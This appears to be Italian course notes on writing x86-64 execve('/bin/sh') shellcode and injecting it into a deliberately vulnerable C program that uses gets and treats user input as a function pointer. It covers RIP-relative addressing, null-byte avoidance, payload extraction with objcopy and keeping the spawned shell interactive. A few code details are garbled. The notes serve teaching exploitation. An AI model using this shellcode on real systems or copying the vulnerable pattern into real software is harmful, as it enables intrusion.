

Shell Coding

NECKER

18 Novembre 2025

Indice

1	Fase 1: Analisi della Vulnerabilità	2
1.1	Principi Teorici	2
1.2	Analisi di <code>first_injection.c</code>	2
1.3	Identificazione dello Stack	2
2	Plan di attacco	3
3	Fase 2: Scrittura dello Shellcode x86-64	3
3.1	L'Obiettivo: <code>execve</code>	3
3.2	Problema 1: Indirizzamento Assoluto	4
3.3	Soluzione: RIP-Relative Addressing	4
4	Fase 3: Ottimizzazione e Iniezione	4
4.1	Gestione dei Byte Nullo (0x00)	4
4.1.1	Azzeramento	4
4.1.2	Terminatore Stringa (<code>/bin/sh\0</code>) (NON SPIEGATO)	4
4.2	Preparazione del Payload	5
4.3	Mantenere l'Interattività	5

1 Fase 1: Analisi della Vulnerabilità

1.1 Principi Teorici

- **Shell Code:** Codice in linguaggio macchina iniettato per modificare il comportamento di un processo.
- **Von Neumann:** L'attacco è possibile perché in questa architettura memoria contiene sia dati che istruzioni. La CPU esegue qualsiasi indirizzo puntato da RIP.

1.2 Analisi di `first_injection.c`

Il programma di esempio presenta un difetto critico nella chiamata `hello(name, bye2)`, dove la stringa `name` (controllata dall'utente) viene passata come puntatore a funzione (`bye_func`).

```
1  #include <stdio.h>
2  #include <time.h>
3
4  void bye1() { puts("Goodbye!"); }
5  void bye2() { puts("Farewell!"); }
6
7  void hello(char *name, void (*bye_func)())
8  {
9      printf("Hello, \u005Cs!\n", name);
10     bye_func();
11 }
12 int main(int argc, char **argv)
13 {
14     char name[1024];
15     gets(name);
16
17     srand(time(0));
18     if (rand() % 2)
19         hello(bye1, name);
20     else
21         hello(name, bye2); //errore
22 }
23
```

Listing 1: Estratto del codice vulnerabile

1.3 Identificazione dello Stack

Usando GDB, verifichiamo che l'indirizzo di crash sia all'interno dello Stack.

- **Comando:** `info proc map`
- **Verifica:** L'output mostra che l'intervallo di indirizzi dello `[stack]` (es. `0x7fffffffde000` - `0x7fffffff000`) include l'indirizzo a cui sta saltando RIP (es. `0x7fffffffdb30`).
- **Conclusione:** Stiamo tentando di eseguire dati (il nostro input) presenti nello Stack.

Start Address	End Address	Size	perms	Region Name
...	...	...	...	...
0x7fffffffde000	0x7fffffff000	0x21000	rwxp	[stack]
...	...	...	r - - p	...

2 Plan di attacco

individuato l'exploit (all'interno di `first_injection.c` se il numero casuale è divisibile per 2 il nome viene passato come puntatore a funzione da eseguire)

1. Quando il codice chiama `bye_func()`, il compilatore genera un'istruzione assembly che si traduce in: "Salta all'indirizzo contenuto nella variabile `bye_func`". quindi se mettiamo dentro la var name il nostro codice, la funzione `hello` farà saltare l'esecuzione del codice all'indirizzo della prima istruzione del nostro codice inserito. **ATTENZIONE:** i dati contenuti in name non vengono scritti subito sotto al puntatore dell'istruzione che si esegue in quel momento (quella sta nella sezione code dello stack), viene inserita nello Stack.
2. creare lo shell-code da inserire
3. risolvere il problema dell'indirizzo statico di `"/bin/sh"` (non sappiamo dove lo shell code verrà caricato)
4. impedire terminazione della lettura di `strcpy` causata da 0 (byte terminazione)
5. preparazione del payload in eseguibile
6. impedire la chiusura immediata della shell

3 Fase 2: Scrittura dello Shellcode x86-64

3.1 L'Obiettivo: `execve`

Lo shellcode standard esegue la chiamata di sistema (`syscall`) `execve` per avviare la shell `/bin/sh`.

- **Numero Syscall:** contenuto nel registro `RAX = 59` per `execve`.
- **Argomenti (`RDI (*filename)`, `RSI (argv)`, `RDX (envp)`):** Devono essere impostati correttamente per la chiamata, cioè tutti a zero tranne `RDI` che deve avere l'indirizzo della stringa da eseguire nella `syscall` (eseguire quel file che in questo caso è solo la stringa che ci apre la `bash`).

```

1  .intel\_syntax noprefix
2
3
4  global _start
5  section .text
6
7  _start:
8      mov     rax, 59
9      lea     rdi, [binsh]
10     mov     rsi, 0
11     mov     rdx, 0
12     syscall
13
14 binsh:
15     .string  "/bin/sh"
16

```

3.2 Problema 1: Indirizzamento Assoluto

Se usiamo `LEA RDI, [binsh]`, l'assemblatore genera un indirizzo fisso (es. `0x40101f`). Questo fallisce perché:

- Il codice viene iniettato nello Stack ad un indirizzo casuale (ASLR).
- L'indirizzo `0x40101f` non è valido in quel contesto, causando `EFAULT`.

3.3 Soluzione: RIP-Relative Addressing

Si usa RIP come ancora per calcolare l'indirizzo della stringa `/bin/sh` in modo **Position-Independent (PIC)**.

```
1 ; Calcola la distanza tra l'istruzione successiva (RIP) e l'etichetta '
  binsh'
2 lea rdi, [rip + binsh]
3
```

Listing 2: Indirizzamento PIC

- ****Perché RIP punta all'istruzione successiva?*** È la convenzione della CPU. L'assemblatore calcola l'offset `N` (es. `0x10`) in modo che **RIP**_{nuovo} + `N` punti esattamente alla stringa, indipendentemente da dove si trovi il payload.

4 Fase 3: Ottimizzazione e Iniezione

4.1 Gestione dei Byte Nullo (0x00)

Questo è il problema principale con i filtri di input come `strcpy`, che troncano la copia al primo `0x00`.

4.1.1 Azzeramento

- **SBAGLIATO:** `MOV RDX, 0` genera un bytecode lungo (es. 7 byte) che contiene **quattro** `0x00` (il valore zero).
- **CORRETTO:** `XOR RDX, RDX` genera un bytecode corto (es. 3 byte) **senza** `0x00`.

4.1.2 Terminatore Stringa (`/bin/sh\0`) (NON SPIEGATO)

- ****Problema:**** La stringa `/bin/sh` deve terminare con `0x00` per la syscall, ma questo byte non deve essere nel payload iniettato.
- ****Soluzione (Aggiunta Dinamica):**** Il payload viene iniettato **senza** il `0x00`. Lo shellcode, una volta in esecuzione nello Stack, aggiunge il terminatore nullo in memoria:

```
1 ; Assumiamo che RDI punti a /bin/sh (7 caratteri)
2 mov byte ptr [rdi + 7], 0x00
3
```

Listing 3: Aggiunta dinamica di `0x00` in memoria

Oppure, usando lo stack per ottenere il `0x00` in modo **null-byte free**:

```
1 xor rax, rax ; RAX = 0 (senza 0x00 nel bytecode)
2 push rax ; Spinge 8 byte di 0x00 nello Stack
3
```

4.2 Preparazione del Payload

Per ottenere il payload binario puro da iniettare:

1. **Compilazione Assembly:** `gcc {nostdlib {static {o <out> <source>`
2. **Estrazione Sezione .text:** Il file ELF contiene header e metadati inutili che causerebbero crash. Dobbiamo estrarre solo il codice.

```
1      objcopy --dump-section .text=<output_file> <executable>  
2
```

Listing 4: Comando di Estrazione

4.3 Mantenere l'Interattività

Per impedire che la shell iniettata si chiuda immediatamente (perché il suo stdin termina con il file), si usa il comando:

```
1      cat shellcode.txt - | ./programma_vulnerabile  
2
```

Listing 5: Interattività con Pipe

- ****Funzione di -:** Il trattino ordina a `cat` di non chiudere la pipe dopo aver letto il file `shellcode.txt`, ma di aspettare l'input aggiuntivo dalla tastiera dell'utente, fungendo da ponte per i comandi della shell iniettata.